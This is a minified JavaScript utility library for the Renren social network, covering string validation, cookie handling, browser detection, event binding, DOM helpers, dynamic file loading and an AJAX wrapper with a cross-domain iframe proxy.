try{
document.domain=""+XN.env.domain+"";
}
catch(e){
try{
XN={env:{shortSiteName:"\u4eba\u4eba",siteName:"\u4eba\u4eba\u7f51",domain:window.location.hostname.split(".").reverse().slice(0,2).reverse().join(".")}};
document.domain=XN.env.domain;
}
catch(e){
}
}
function isUndefined(_1){
return typeof _1=="undefined";
}
function isString(_2){
return typeof _2=="string";
}
function isElement(_3){
return _3&&_3.nodeType==1;
}
function isFunction(_4){
return typeof _4=="function";
}
function isObject(_5){
return typeof _5=="object";
}
function isArray(_6){
return Object.prototype.toString.call(_6)==="[object Array]";
}
function isNumber(_7){
return typeof _7=="number";
}
function $extend(_8,_9){
if(!_9){
return _8;
}
for(var p in _9){
_8[p]=_9[p];
}
return _8;
}
(function(){
var _b={};
$element=function(_c){
_c=_c.toLowerCase();
if(!_b[_c]){
_b[_c]=document.createElement(_c);
}
return $(_b[_c].cloneNode(false));
};
})();
function $(id){
var el;
if(isString(id)||isNumber(id)){
el=document.getElementById(id+"");
}else{
el=id;
}
if(!el){
return null;
}
if(!el._extendLevel){
XN.element.extend(el);
}
return el;
}
xn_getEl=$;
if(!Function.prototype.bind){
Function.prototype.bind=function(_f){
var _10=this;
return function(){
_10.apply(_f,arguments);
};
};
}
ge=getEl=$;
$xElement=$element;
$X=$;
if(typeof XN=="undefined"){
XN={};
}
$extend(XN,{namespace:function(){
var a=arguments,o=null,i,j,d;
for(i=0;i<a.length;i++){
d=a[i].split(".");
o=XN;
for(j=(d[0]=="XN")?1:0;j<d.length;j++){
o[d[j]]=o[d[j]]||{};
o=o[d[j]];
}
}
return o;
}});
XN.namespace("ui");
XN.namespace("util");
XN.namespace("app");
XN.namespace("page");
XN.namespace("config");
XN.APP=XN.App=XN.app;
XN.PAGE=XN.Page=XN.page;
XN.CONFIG=XN.Config=XN.config;
XN.DEBUG_MODE=false;
XN.debug={log:function(){
},on:function(){
XN.DEBUG_MODE=true;
if(window.console&&console.log){
XN.debug.log=function(s){
console.log(s);
};
}
},off:function(){
XN.debug.log=function(){
};
}};
XN.log=function(s){
XN.debug.log(s);
};
XN.DEBUG=XN.Debug=XN.debug;
XN.debug.On=XN.debug.on;
XN.debug.Off=XN.debug.off;
XN.namespace("env");
$extend(XN.env,{domain_reg:XN.env.domain.replace(/\./g,"\\."),staticRoot:"http://s.xnimg.cn/",CDNstaticRoot:"http://xnimg.cn/",swfRoot:"http://static.xiaonei.com/",wwwRoot:"http://"+XN.env.domain+"/"});
XN.ENV=XN.Env=XN.env;
XN.array={toQueryString:function(a,key){
var rt=[],t;
for(var k in a){
t=a[k];
if(isFunction(t)){
continue;
}
if(isObject(t)){
rt.push(arguments.callee(t,k));
}else{
if(/^\d+$/.test(k)){
rt.push((key||k)+"="+encodeURIComponent(t));
}else{
rt.push(k+"="+encodeURIComponent(t));
}
}
}
return rt.join("&");
},each:function(a,_1e){
if(!a){
return;
}
if(!isUndefined(a.length)||!isUndefined(a[0])){
for(var i=0,j=a.length;i<j;i++){
if(_1e.call(a,i,a[i])===false){
break;
}
}
}else{
for(var key in a){
if(!isFunction(a[key])){
if(_1e.call(a,key,a[key])===false){
break;
}
}
}
}
},include:function(a,_23){
var r=false;
XN.array.each(a,function(i,v){
if(v===_23){
r=true;
return false;
}
});
return r;
},build:function(o){
var rt=[];
for(var i=0,j=o.length;i<j;i++){
rt.push(o[i]);
}
return rt;
}};
XN.ARRAY=XN.Array=XN.array;
XN.string={nl2br:function(str){
return str.replace(/([^>])\n/g,"$1<br />");
},trim:function(str){
return str.replace(/^\s+|\s+$/g,"");
},ltrim:function(str){
return str.replace(/^\s+/,"");
},rtrim:function(str){
return str.replace(/\s+$/,"");
},strip:function(str){
return XN.string.trim(str);
},stripTags:function(str){
return str.replace(/<\/?[^>]+>/igm,"");
},escapeHTML:function(str){
return str.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;");
},unescapeHTML:function(str){
return str.replace(/&lt;/g,"<").replace(/&gt;/g,">").replace(/&nbsp;/g," ").replace(/&quot;/g,"\"").replace(/&amp;/g,"&");
},include:function(str,key){
return str.indexOf(key)>-1;
},startsWith:function(str,key){
return str.indexOf(key)===0;
},endsWith:function(str,key){
var d=str.length-key.length;
return d>=0&&str.lastIndexOf(key)===d;
},isBlank:function(str){
return /^\s*$/.test(str);
},isEmail:function(str){
return /^[A-Z_a-z0-9-\.]+@([A-Z_a-z0-9-]+\.)+[a-z0-9A-Z]{2,4}$/.test(str);
},isMobile:function(str){
return /^((\(\d{2,3}\))|(\d{3}\-))?((1[345]\d{9})|(18\d{9}))$/.test(str);
},isUrl:function(str){
return /^(http:|ftp:)\/\/[A-Za-z0-9]+\.[A-Za-z0-9]+[\/=\?%\-&_~`@[\]\':+!]*([^<>\"])*$/.test(str);
},isIp:function(str){
return /^(0|[1-9]\d?|[0-1]\d{2}|2[0-4]\d|25[0-5]).(0|[1-9]\d?|[0-1]\d{2}|2[0-4]\d|25[0-5]).(0|[1-9]\d?|[0-1]\d{2}|2[0-4]\d|25[0-5]).(0|[1-9]\d?|[0-1]\d{2}|2[0-4]\d|25[0-5])$/.test(str);
},isNumber:function(str){
return /^\d+$/.test(str);
},isZip:function(str){
return /^[1-9]\d{5}$/.test(str);
},isEN:function(str){
return /^[A-Za-z]+$/.test(str);
},isJSON:function(str){
if(!isString(str)||str===""){
return false;
}
str=str.replace(/\\./g,"@").replace(/"[^"\\\n\r]*"/g,"");
return (/^[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]*$/).test(str);
},getQuery:function(key,url){
url=url||window.location.href+"";
if(url.indexOf("#")!==-1){
url=url.substring(0,url.indexOf("#"));
}
var rts=[],rt;
var _47=new RegExp("(^|\\?|&)"+key+"=([^&]*)(?=&|#|$)","g");
while((rt=_47.exec(url))!=null){
rts.push(decodeURIComponent(rt[2]));
}
if(rts.length==0){
return null;
}
if(rts.length==1){
return rts[0];
}
return rts;
},setQuery:function(key,_49,url){
url=url||window.location.href+"";
var _4b="";
if(!/^http/.test(url)){
return url;
}
if(url.indexOf("#")!==-1){
_4b=url.substring(url.indexOf("#"));
}
url=url.replace(_4b,"");
url=url.replace(new RegExp("(^|\\?|&)"+key+"=[^&]*(?=&|#|$)","g"),"");
_49=isArray(_49)?_49:[_49];
for(var i=_49.length-1;i>=0;i--){
_49[i]=encodeURIComponent(_49[i]);
}
var p=key+"="+_49.join("&"+key+"=");
return url+(/\?/.test(url)?"&":"?")+p+_4b;
}};
XN.String=XN.STRING=XN.string;
XN.string.isNum=XN.string.isNumber;
window.isJSON=XN.string.isJSON;
(function(){
runOnceFunc={};
XN.func={empty:function(){
},runOnce:function(_4e){
if(runOnceFunc[_4e]){
return null;
}
runOnceFunc[_4e]=true;
return _4e();
}};
})();
XN.FUNC=XN.Func=XN.func;
(function(){
XN.browser={IE:!!(window.attachEvent&&!window.opera),IE6:navigator.userAgent.indexOf("MSIE 6.0")>-1,IE7:navigator.userAgent.indexOf("MSIE 7.0")>-1,IE8:navigator.userAgent.indexOf("MSIE 8.0")>-1,Opera:!!window.opera,WebKit:navigator.userAgent.indexOf("AppleWebKit/")>-1,Gecko:navigator.userAgent.indexOf("Gecko")>-1&&navigator.userAgent.indexOf("KHTML")==-1,copy:function(o){
function onfail(){
if(isElement(o)){
o.select();
}
}
var str;
if(isElement(o)){
str=o.value;
}else{
str=o;
}
if(window.clipboardData&&clipboardData.setData){
if(clipboardData.setData("text",str)){
return true;
}
}else{
XN.DO.alert({message:"\u60a8\u7684\u6d4f\u89c8\u5668\u4e0d\u652f\u6301\u811a\u672c\u590d\u5236,\u8bf7\u5c1d\u8bd5\u624b\u52a8\u590d\u5236",callBack:function(){
onfail();
}});
return false;
}
XN.DO.alert({message:"\u60a8\u7684\u6d4f\u89c8\u5668\u8bbe\u7f6e\u4e0d\u5141\u8bb8\u811a\u672c\u8bbf\u95ee\u526a\u5207\u677f",callBack:function(){
onfail();
}});
return false;
}};
})();
XN.BROWSER=XN.Browser=XN.browser;
XN.cookie={get:function(_51){
var _52=_51+"=";
var ca=document.cookie.split(";");
for(var i=0;i<ca.length;i++){
var c=ca[i];
while(c.charAt(0)==" "){
c=c.substring(1,c.length);
}
if(c.indexOf(_52)==0){
return decodeURIComponent(c.substring(_52.length,c.length));
}
}
return null;
},set:function(_56,_57,_58,_59,_5a,_5b){
var _5c;
if(isNumber(_58)){
var _5d=new Date();
_5d.setTime(_5d.getTime()+(_58*24*60*60*1000));
_5c=_5d.toGMTString();
}else{
if(isString(_58)){
_5c=_58;
}else{
_5c=false;
}
}
document.cookie=_56+"="+encodeURIComponent(_57)+(_5c?";expires="+_5c:"")+(_59?";path="+_59:"")+(_5a?";domain="+_5a:"")+(_5b?";secure":"");
},del:function(_5e,_5f,_60,_61){
XN.cookie.set(_5e,"",-1,_5f,_60,_61);
}};
XN.COOKIE=XN.Cookie=XN.cookie;
(function(){
var _62=XN.browser;
XN.event={isCapsLockOn:function(e){
var c=e.keyCode||e.which;
var s=e.shiftKey;
if(((c>=65&&c<=90)&&!s)||((c>=97&&c<=122)&&s)){
return true;
}
return false;
},element:function(e){
var n=e.target||e.srcElement;
return _68.resolveTextNode(n);
},relatedTarget:function(e){
var t=e.relatedTarget;
if(!t){
if(e.type=="mouseout"||e.type=="mouseleave"){
t=e.toElement;
}else{
if(e.type=="mouseover"){
t=e.fromElement;
}
}
}
return _68.resolveTextNode(t);
},resolveTextNode:function(n){
try{
if(n&&3==n.nodeType){
return n.parentNode;
}
}
catch(e){
}
return n;
},pointerX:function(_6c){
return _6c.pageX||(_6c.clientX+(document.documentElement.scrollLeft||document.body.scrollLeft));
},pointerY:function(_6d){
return _6d.pageY||(_6d.clientY+(document.documentElement.scrollTop||document.body.scrollTop));
},isStrictMode:document.compatMode!="BackCompat",pageHeight:function(){
return this.isStrictMode?Math.max(document.documentElement.scrollHeight,document.documentElement.clientHeight):Math.max(document.body.scrollHeight,document.body.clientHeight);
},pageWidth:function(){
return this.isStrictMode?Math.max(document.documentElement.scrollWidth,document.documentElement.clientWidth):Math.max(document.body.scrollWidth,document.body.clientWidth);
},winWidth:function(){
return this.isStrictMode?document.documentElement.clientWidth:document.body.clientWidth;
},winHeight:function(){
return this.isStrictMode?document.documentElement.clientHeight:document.body.clientHeight;
},scrollTop:function(){
if(XN.browser.WebKit){
return window.pageYOffset;
}
return this.isStrictMode?document.documentElement.scrollTop:document.body.scrollTop;
},scrollLeft:function(){
if(XN.browser.WebKit){
return window.pageXOffset;
}
return this.isStrictMode?document.documentElement.scrollLeft:document.body.scrollLeft;
},stop:null,addEvent:function(el,_6f,_70,cap){
var els=[];
el=$(el);
if(isArray(el)){
els=el;
}else{
els.push(el);
}
if(els.length==0){
return el;
}
XN.array.each(els,function(i,v){
XN.event._addEvent(v,_6f,_70,cap);
});
return el;
},delEvent:function(el,_76,_77,cap){
var els=[];
el=$(el);
if(isArray(el)){
els=el;
}else{
els.push(el);
}
if(els.length==0){
return el;
}
XN.array.each(els,function(i,v){
XN.event._delEvent(v,_76,_77,cap);
});
return el;
},_addEvent:null,_delEvent:null,enableCustomEvent:function(obj){
$extend(obj,{addEvent:function(_7d,_7e){
if(!this._customEventListeners){
this._customEventListeners={};
}
var _7f=this._customEventListeners;
if(isUndefined(_7f[_7d])){
_7f[_7d]=[];
}
_7f[_7d].push(_7e);
return this;
},delEvent:function(_80,_81){
var _82=this._customEventListeners[_80];
if(_82){
for(var i=_82.length-1;i>=0;i--){
if(_82[i]==_81){
_82[i]=null;
break;
}
}
}
return this;
},fireEvent:function(_84){
if(!this._customEventListeners||!this._customEventListeners[_84]){
return;
}
var _85=this._customEventListeners[_84],ars=XN.array.build(arguments);
ars.shift();
for(var i=0,j=_85.length;i<j;i++){
if(_85[i]){
try{
_85[i].apply(this,ars);
}
catch(ox){
if(XN.DEBUG_MODE){
throw ox;
}
}
}
}
}});
return obj;
}};
var _68=XN.event;
if(_62.IE){
_68.stop=function(_89){
_89.returnValue=false;
_89.cancelBubble=true;
};
}else{
_68.stop=function(_8a){
_8a.preventDefault();
_8a.stopPropagation();
};
}
var _8b=function(_8c,_8d){
var p=_8c.relatedTarget;
while(p&&p!=_8d){
try{
p=p.parentNode;
}
catch(error){
p=_8d;
}
}
return p!==_8d;
};
if(window.attachEvent&&!_62.Opera){
_68._addEvent=function(_8f,_90,_91){
_8f=$(_8f);
if(_90=="keypress"){
_90="keydown";
}
if(_90=="input"){
_90="propertychange";
}
_8f.attachEvent("on"+_90,_91);
return _8f;
};
_68._delEvent=function(_92,_93,_94){
_92=$(_92);
if(_93=="keypress"){
_93="keydown";
}
if(_93=="input"){
_93="propertychange";
}
_92.detachEvent("on"+_93,_94);
return _92;
};
}else{
if(window.addEventListener){
_68._addEvent=function(_95,_96,_97,_98){
_95=$(_95);
if(_96=="mouseleave"){
_95.onmouseleave=function(e){
e=e||window.event;
if(_8b(e,_95)&&_97){
_97.call(_95,e);
}
};
_95.addEventListener("mouseout",_95.onmouseleave,_98);
return _95;
}
if(_96=="keypress"&&_62.WebKit){
_96="keydown";
}
_95.addEventListener(_96,_97,_98);
return _95;
};
_68._delEvent=function(_9a,_9b,_9c,_9d){
_9a=$(_9a);
if(_9b=="mouseleave"){
_9a.removeEventListener("mouseout",_9a.onmouseleave,_9d);
return _9a;
}
if(_9b=="keypress"&&_62.WebKit){
_9b="keydown";
}
_9a.removeEventListener(_9b,_9c,_9d);
return _9a;
};
}
}
})();
XN.EVENT=XN.Event=XN.event;
(function(){
var _9e=XN.event;
var _9f=XN.array;
var _a0=XN.browser;
var _a1=false;
var _a2=[];
var _a3=[];
function runHooks(){
if(!_a2){
return;
}
XN.array.each(_a2,function(i,v){
try{
v();
}
catch(e){
if(XN.DEBUG_MODE){
throw e;
}
}
});
XN.array.each(_a3,function(i,v){
setTimeout(v,0);
});
}
var _a8=null;
function createShadow(_a9,_aa){
_a9=_a9||0.3;
_aa=_aa||2000;
var el=$element("div");
_a8=el;
el.setStyle(["position:absolute;","top:0;","left:0;","background:#000;","z-index:"+_aa+";","opacity:"+_a9+";","filter:alpha(opacity="+(_a9*100)+");"].join(""));
el.innerHTML=["<iframe width=\"100%\" height=\"100%\" frameBorder=\"0\" style=\"position:absolute;top:0;left:0;z-index:1;\"></iframe>","<div style=\"position:absolute;top:0;left:0;width:100%;height:100%;background-color:#000000;z-index:2;height:expression(this.parentNode.offsetHeight);\"></div>"].join("");
function resize(){
el.hide();
el.style.height=XN.event.pageHeight()+"px";
el.style.width=XN.event.pageWidth()+"px";
el.show();
}
resize();
XN.event.addEvent(window,"resize",function(e){
if(_a8&&_a8.style.display!="none"){
try{
resize();
}
catch(e){
}
}
});
document.body.appendChild(el);
}
XN.dom={disable:function(_ad,_ae){
if(!_a8){
createShadow(_ad,_ae);
}
},enable:function(){
if(_a8){
_a8.remove();
_a8=null;
}
},insertAfter:function(_af,_b0){
_af=$(_af);
_b0=$(_b0);
var _b1=_b0.parentNode;
if(_b1.lastChild==_b0){
_b1.appendChild(_af);
}else{
_b1.insertBefore(_af,_b0.nextSibling);
}
},getElementsByClassName:function(_b2,_b3,_b4){
var c=($(_b3)||document).getElementsByTagName(_b4||"*")||document.all;
var _b6=[];
var _b7=new RegExp("(^|\\s)"+_b2+"(\\s|$)");
_9f.each(c,function(i,v){
if(_b7.test(v.className)){
_b6.push(v);
}
});
return _b6;
},ready:function(f,_bb){
if(isUndefined(_bb)){
_bb=false;
}
if(_a1){
_bb?setTimeout(f,0):f();
}else{
_bb?_a3.push(f):_a2.push(f);
}
},preloadImg:function(src){
src=isArray(src)?src:[src];
_9f.each(src,function(i,v){
new Image().src=v;
});
}};
if(_a0.WebKit){
var _bf=setInterval(function(){
if(/loaded|complete/.test(document.readyState)){
_a1=true;
runHooks();
clearInterval(_bf);
}
},10);
}else{
if(document.addEventListener){
document.addEventListener("DOMContentLoaded",function(){
_a1=true;
runHooks();
},false);
}else{
var _bf=setInterval(function(){
try{
document.body.doScroll("left");
clearInterval(_bf);
_a1=true;
runHooks();
}
catch(e){
}
},20);
}
}
})();
XN.DOM=XN.Dom=XN.dom;
XN.dom.readyDo=XN.dom.ready;
XN.dom.ready(function(){
$=ge=getEl=xn_getEl;
});
XN.namespace("config");
XN.config.jumpOut=true;
XN.dom.ready(function(){
if(XN.config.parentDomain||(!XN.config.jumpOut)){
return;
}
try{
top.location.href.indexOf("x");
}
catch(e){
try{
top.location=self.location;
}
catch(e){
}
}
});
(function(){
var _c0={};
var _c1={};
function hasLoad(_c2){
return !!getFile(_c2);
}
function getFile(_c3){
return _c0[encodeURIComponent(_c3)];
}
function mark(_c4){
var obj={};
obj.file=_c4;
obj.isLoad=true;
obj.isLoaded=true;
_c0[encodeURIComponent(_c4)]=obj;
}
function addFile(_c6){
var obj={};
obj.file=_c6;
obj.isLoaded=false;
XN.EVENT.enableCustomEvent(obj);
obj.addEvent("load",function(){
this.isLoaded=true;
});
_c0[encodeURIComponent(_c6)]=obj;
var el=$element("script");
el.type="text/javascript";
el.src=_c6;
obj.element=el;
if(XN.Browser.IE){
el.onreadystatechange=function(){
if((this.readyState=="loaded"||this.readyState=="complete")&&!this.hasLoad){
this.hasLoad=true;
getFile(_c6).fireEvent("load");
}
};
}else{
el.onload=function(){
getFile(_c6).fireEvent("load");
};
}
document.getElementsByTagName("head")[0].appendChild(el);
}
function loadFile(_c9,_ca){
var _cb=false,_cc=false;
if(isObject(_c9)){
_cb=(_c9.type=="js");
_cc=(_c9.type=="css");
_c9=_c9.file;
}
_c9=getFullName(_c9);
if(/\.js(\?|$)/.test(_c9)||_cb){
if(!hasLoad(_c9)){
addFile(_c9);
}
if(!_ca){
return;
}
if(getFile(_c9).isLoaded){
_ca.call(getFile(_c9));
}else{
getFile(_c9).addEvent("load",_ca);
}
}else{
if(/\.css(\?|$)/.test(_c9)||_cc){
if(hasLoad(_c9)){
if(_ca){
_ca.call(getFile(_c9));
}
return;
}
mark(_c9);
var el=$element("link");
el.rel="stylesheet";
el.type="text/css";
el.href=_c9;
document.getElementsByTagName("head")[0].appendChild(el);
if(_ca){
_ca.call(getFile(_c9));
}
}
}
}
function getFullName(_ce){
XN.func.runOnce(loadVersion);
if(!_c1[_ce]){
return _ce;
}
return _c1[_ce].file;
}
function getVersion(_cf){
var _d0;
if(_d0=new RegExp("("+XN.env.staticRoot+")"+"(a?\\d+)/([^?]*)").exec(_cf)){
_c1[_d0[1]+_d0[3]]={file:_cf,version:_d0[2]};
}else{
if(_d0=new RegExp("(.*)\\?ver=(d+)(..*)").exec(_cf)){
_c1[_d0[1]]={file:_cf,version:_d0[2]};
}
}
}
XN.getFileVersion=function(_d1){
XN.array.each(_d1,function(i,v){
getVersion(v);
});
};
XN.loadFile=function(_d4,_d5){
loadFile(_d4,_d5);
};
XN.loadFiles=function(_d6,_d7){
var f=_d6.length;
function isAllLoad(){
f--;
if(f===0&&_d7){
_d7();
}
}
XN.array.each(_d6,function(i,v){
XN.loadFile(v,isAllLoad);
});
};
XN.getVersion=function(_db){
getVersion(_db);
};
function loadVersion(){
XN.array.each(document.getElementsByTagName("script"),function(i,v){
if(v.src){
mark(v.src);
getVersion(v.src);
}
if(v.getAttribute("vsrc")){
getVersion(v.getAttribute("vsrc"));
}
});
XN.array.each(document.getElementsByTagName("link"),function(i,v){
if(v.rel&&v.rel=="stylesheet"){
mark(v.href);
getVersion(v.href);
}
if(v.getAttribute("vhref")){
getVersion(v.getAttribute("vhref"));
}
});
XN.log("load file version:");
XN.log(_c1);
}
XN.dynamicLoad=function(_e0){
XN.array.each(_e0.funcs,function(i,_e2){
window[_e2]=function(){
var ars=arguments;
window[_e2]=null;
if(_e0.file){
_e0.files=[_e0.file];
}
XN.loadFiles(_e0.files,function(){
window[_e2].apply(null,ars);
if(_e0.callBack){
_e0.callBack.call(null);
}
});
};
});
};
XN.namespace("img");
XN.img.getVersion=function(_e4){
XN.func.runOnce(loadVersion);
if(!_c1[_e4]){
return "";
}
return _c1[_e4].version;
};
XN.img.getFullName=function(_e5){
return getFullName(_e5);
};
})();
(function(){
var _e6=XN.event.addEvent;
var _e7=XN.event.delEvent;
var _e8=XN.browser;
XN.element={clear:function(_e9){
_e9=$(_e9);
_e9.innerHTML="";
return _e9;
},hover:function(_ea,_eb,_ec){
_ea=$(_ea);
_ec=_ec?$(_ec):_ea;
_e6(_ea,"mouseover",function(){
_ec.addClass(_eb);
},false);
_e6(_ea,"mouseleave",function(){
_ec.delClass(_eb);
},false);
return _ea;
},scrollTo:function(_ed,_ee){
_ed=$(_ed);
_ee=_ee||"normal";
switch(_ee){
case "slow":
XN.EFFECT.scrollTo(_ed);
break;
default:
window.scrollTo(0,_ed.realTop());
break;
}
return _ed;
},visible:function(_ef){
_ef=$(_ef);
return _ef.style.display!="none"&&_ef.style.visibility!="hidden";
},toggleClass:function(_f0,_f1){
if(_f2.hasClassName(_f0,_f1)){
_f2.delClass(_f0,_f1);
}else{
_f2.addClass(_f0,_f1);
}
return $(_f0);
},hasClassName:function(_f3,_f4){
return new RegExp("(^|\\s+)"+_f4+"(\\s+|$)").test($(_f3).className);
},addClass:function(_f5,_f6){
_f5=$(_f5);
if(_f2.hasClassName(_f5,_f6)){
return _f5;
}
_f5.className+=" "+_f6;
return _f5;
},delClass:function(_f7,_f8){
_f7=$(_f7);
_f7.className=_f7.className.replace(new RegExp("(^|\\s+)"+_f8+"(\\s+|$)","g")," ");
return _f7;
},show:function(_f9,_fa){
_f9=$(_f9);
if(_f9.style.display!="none"){
return;
}
_fa=_fa||"normal";
switch(_fa){
case "normal":
_f9.style.display="";
break;
case "fade":
XN.EFFECT.fadeIn(_f9,function(e){
e.style.display="";
});
break;
case "slide":
XN.EFFECT.slideOpen(_f9);
break;
case "delay":
setTimeout(function(){
_f9.style.display="";
},2000);
break;
}
return _f9;
},hide:function(_fc,_fd){
_fc=$(_fc);
if(_fc.style.display=="none"){
return;
}
_fd=_fd||"normal";
switch(_fd){
case "normal":
_fc.style.display="none";
break;
case "fade":
XN.EFFECT.fadeOut(_fc,function(e){
e.style.display="none";
});
break;
case "slide":
XN.EFFECT.slideClose(_fc);
break;
case "delay":
setTimeout(function(){
_fc.style.display="none";
},2000);
break;
}
return _fc;
},remove:function(_ff){
var _ff=$(_ff);
_ff.parentNode.removeChild(_ff);
return _ff;
},setStyle:function(_100,_101){
var _100=$(_100);
_100.style.cssText+=";"+_101;
return _100;
},getStyle:function(_102,_103){
_102=$(_102);
_103=_103=="float"?"cssFloat":_103;
var _104=_102.style[_103];
if(!_104){
var css=document.defaultView.getComputedStyle(_102,null);
_104=css?css[_103]:null;
}
if(_103=="opacity"){
return _104?parseFloat(_104):1;
}
return _104=="auto"?null:_104;
},addEvent:function(){
_e6.apply(null,arguments);
return arguments[0];
},delEvent:function(){
_e7.apply(null,arguments);
return arguments[0];
},addChild:function(_106,_107){
_106=$(_106);
if(isString(_107)){
var _108=(_107.substring(0,1)=="#")?$(_107.substring(1,_107.length)):_107;
if(isString(_108)){
_106.innerHTML+=_108;
}else{
_106.appendChild(_108);
}
}else{
if(isElement(_107)){
_106.appendChild(_107);
}else{
if(_107.iAmUIelement){
_106.appendChild($(_107.frame));
}else{
if(_107.iAmXmlhttp){
_107.fillTo=_106;
_106.startLoading();
}
}
}
}
return _106;
},delChild:function(_109,_10a){
_10a=$(_10a);
_10a.remove();
return $(_109);
},setContent:function(_10b,c){
_10b=$(_10b);
_10b.innerHTML="";
_10b.addChild(c);
return _10b;
},getPosition:function(_10d,_10e){
_10e=$(_10e)||document.body;
_10d=$(_10d);
var rl=0;
var rt=0;
var p=_10d;
try{
while(p&&p!=_10e){
rl+=p.offsetLeft;
rt+=p.offsetTop;
p=p.offsetParent;
}
}
catch(e){
}
return {"left":rl,"top":rt};
},realLeft:function(_112,p){
return _f2.getPosition(_112,p||null).left;
},realTop:function(_114,p){
return _f2.getPosition(_114,p||null).top;
},appendHTML:function(_116,str,_118){
_116=$(_116);
var f=document.createDocumentFragment();
var t=$element("div");
t.innerHTML=str;
while(t.firstChild){
f.appendChild(t.firstChild);
}
var tmp=XN.array.build(f.childNodes);
_116.appendChild(f);
if(_118){
return tmp;
}
return _116;
},findFirstClass:function(_11c,_11d){
_11c=$(_11c);
var els=XN.dom.getElementsByClassName(_11d,_11c);
return $(els[0])||null;
},startLoading:function(_11f,msg){
_11f=$(_11f);
_11f.innerHTML="<center><img src=\""+XN.ENV.staticRoot+"img/indicator.gif\" />"+(msg||"\u52a0\u8f7d\u4e2d...")+"</center>";
return _11f;
},stopLoading:function(_121){
_121=$(_121);
return _121;
},eval_inner_JS:function(el){
var js=$(el).getElementsByTagName("script");
XN.array.each(js,function(i,s){
if(s.src){
XN.loadFile(s.src);
}else{
var _126="__inner_js_out_put = [];\n";
_126+=s.innerHTML.replace(/document\.write/g,"__inner_js_out_put.push");
eval(_126);
if(__inner_js_out_put.length!==0){
var tmp=document.createDocumentFragment();
$(tmp).appendHTML(__inner_js_out_put.join(""));
s.parentNode.insertBefore(tmp,s);
}
}
});
}};
XN.element.extend=function(_128){
if(_128._extendLevel){
return _128;
}
var _129=_f2.extend.cache;
for(var m in _f2){
if(!(m in _128)){
_128[m]=_129.findOrStore(_f2[m]);
}
}
return _128;
};
XN.element.extend.cache={findOrStore:function(_12b){
return this[_12b]=this[_12b]||function(){
return _12b.apply(null,[this].concat(XN.array.build(arguments)));
};
}};
var _f2=XN.element;
if(_e8.IE){
XN.element.getStyle=function(_12c,_12d){
_12c=$(_12c);
_12d=(_12d=="float"||_12d=="cssFloat")?"styleFloat":_12d;
var _12e=_12c.style[_12d];
if(!_12e&&_12c.currentStyle){
_12e=_12c.currentStyle[_12d];
}
if(_12d=="opacity"){
if(_12e=(_12c.getStyle("filter")||"").match(/alpha\(opacity=(.*)\)/)){
if(_12e[1]){
return parseFloat(_12e[1])/100;
}
}
return 1;
}
if(_12e=="auto"){
if((_12d=="width"||_12d=="height")&&(_12c.getStyle("display")!="none")){
return _12c["offset"+(_12d=="width"?"Width":"Height")]+"px";
}
return null;
}
return _12e;
};
}
if(document.addEventListener){
XN.element.setOpacity=function(_12f,_130){
_12f=$(_12f);
_12f.style.opacity=_130;
return _12f;
};
}else{
XN.element.setOpacity=function(_131,_132){
_131=$(_131);
_131.style.zoom=1;
_131.style.filter="Alpha(opacity="+Math.ceil(_132*100)+")";
return _131;
};
}
})();
XN.ELEMENT=XN.Element=XN.element;
XN.namespace("net");
XN.net.proxys={};
XN.net.sendForm=function(_133){
XN.log("send form");
_133.data=XN.FORM.serialize(_133.form);
return new XN.net.xmlhttp(_133);
};
XN.net.xmlhttp=function(_134){
var This=this;
if(!XN.net.cache){
XN.net.cache=new XN.util.cache();
}
var ars=arguments;
if(ars.length>1){
this.url=ars[0]||null;
this.data=ars[1]||"";
this.onSuccess=ars[2];
$extend(this,ars[3]);
init(window);
return this;
}
$extend(this,_134);
var _137;
if(this.useCache&&(_137=XN.net.cache.get(this.url+encodeURIComponent(this.data)))){
this.transport={};
this.transport.responseText=_137;
setTimeout(function(){
This._onComplete();
This._onSuccess();
},0);
return this;
}
function getDomain(link){
var a=$element("a");
a.href=link;
return a.hostname;
}
if(/^http/.test(this.url)){
var cd=getDomain(window.location.href);
var nd=getDomain(this.url);
if(cd!=nd){
if(XN.net.proxys[nd]){
init(XN.net.proxys[nd]);
return This;
}else{
var _13c=$element("iframe").hide();
document.body.appendChild(_13c);
_13c.src="http://"+nd+"/ajaxproxy.htm";
XN.event.addEvent(_13c,"load",function(){
try{
init(_13c.contentWindow);
XN.net.proxys[nd]=_13c.contentWindow;
}
catch(e){
}
});
return This;
}
}else{
init(window);
}
}else{
init(window);
}
function init(w){
This.transport=This.getTransport(w);
if(This.url&&This.url!==""){
This.send(This.method);
}
}
};
XN.net.xmlhttp.prototype={url:null,data:"",onSuccess:null,onFailure:null,onError:null,fillTo:null,method:"post",asynchronous:true,transport:null,headers:null,iAmXmlhttp:true,useCache:false,abort:function(){
this.transport.abort();
},send:function(_13e){
var _url;
if(_13e=="get"&&this.data!==""){
_url=this.url+(/\?/.test(this.url)?"&":"?")+this.data;
}else{
_url=this.url;
}
if(this.asynchronous){
this.transport.onreadystatechange=this.onStateChange.bind(this);
}
this.transport.open(_13e,_url,this.asynchronous);
this.transport.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
if(this.headers!==null){
for(var i in this.headers){
this.transport.setRequestHeader(i,this.headers[i]);
}
}
this.transport.send(_13e=="post"?(this.data||""):null);
if(!this.asynchronous){
this._onComplete();
}
},_onSuccess:function(obj){
var _142=this.transport;
if(this.fillTo!==null){
try{
this.fillTo.stopLoading();
}
catch(e){
}
this.fillTo.innerHTML=_142.responseText;
}
try{
if(this.onSuccess){
this.onSuccess.call(null,_142);
}
}
catch(e){
if(XN.DEBUG_MODE){
throw e;
}
}
},_onComplete:function(obj){
var _144=this.transport;
try{
if(this.onComplete){
this.onComplete.call(null,_144);
}
}
catch(e){
if(XN.DEBUG_MODE){
throw e;
}
}
},onStateChange:function(){
var _145=this.transport;
if(_145.readyState==4){
this._onComplete();
if(_145.status==undefined||_145.status==0||(_145.status>=200&&_145.status<300)){
if(this.useCache){
XN.net.cache.add(this.url+encodeURIComponent(this.data),this.transport.responseText);
}
this._onSuccess();
}else{
(this.onError||this.onFailure||XN.func.empty).call(null,_145);
}
}
}};
if(XN.browser.IE){
XN.net.xmlhttp.prototype.getTransport=function(w){
if(w!==window){
return w.getTransport();
}
try{
return new ActiveXObject("Msxml2.XMLHTTP");
}
catch(e){
return new ActiveXObject("Microsoft.XMLHTTP");
}
};
}else{
XN.net.xmlhttp.prototype.getTransport=function(w){
if(w!==window){
return w.getTransport();
}
return new XMLHttpRequest();
};
}
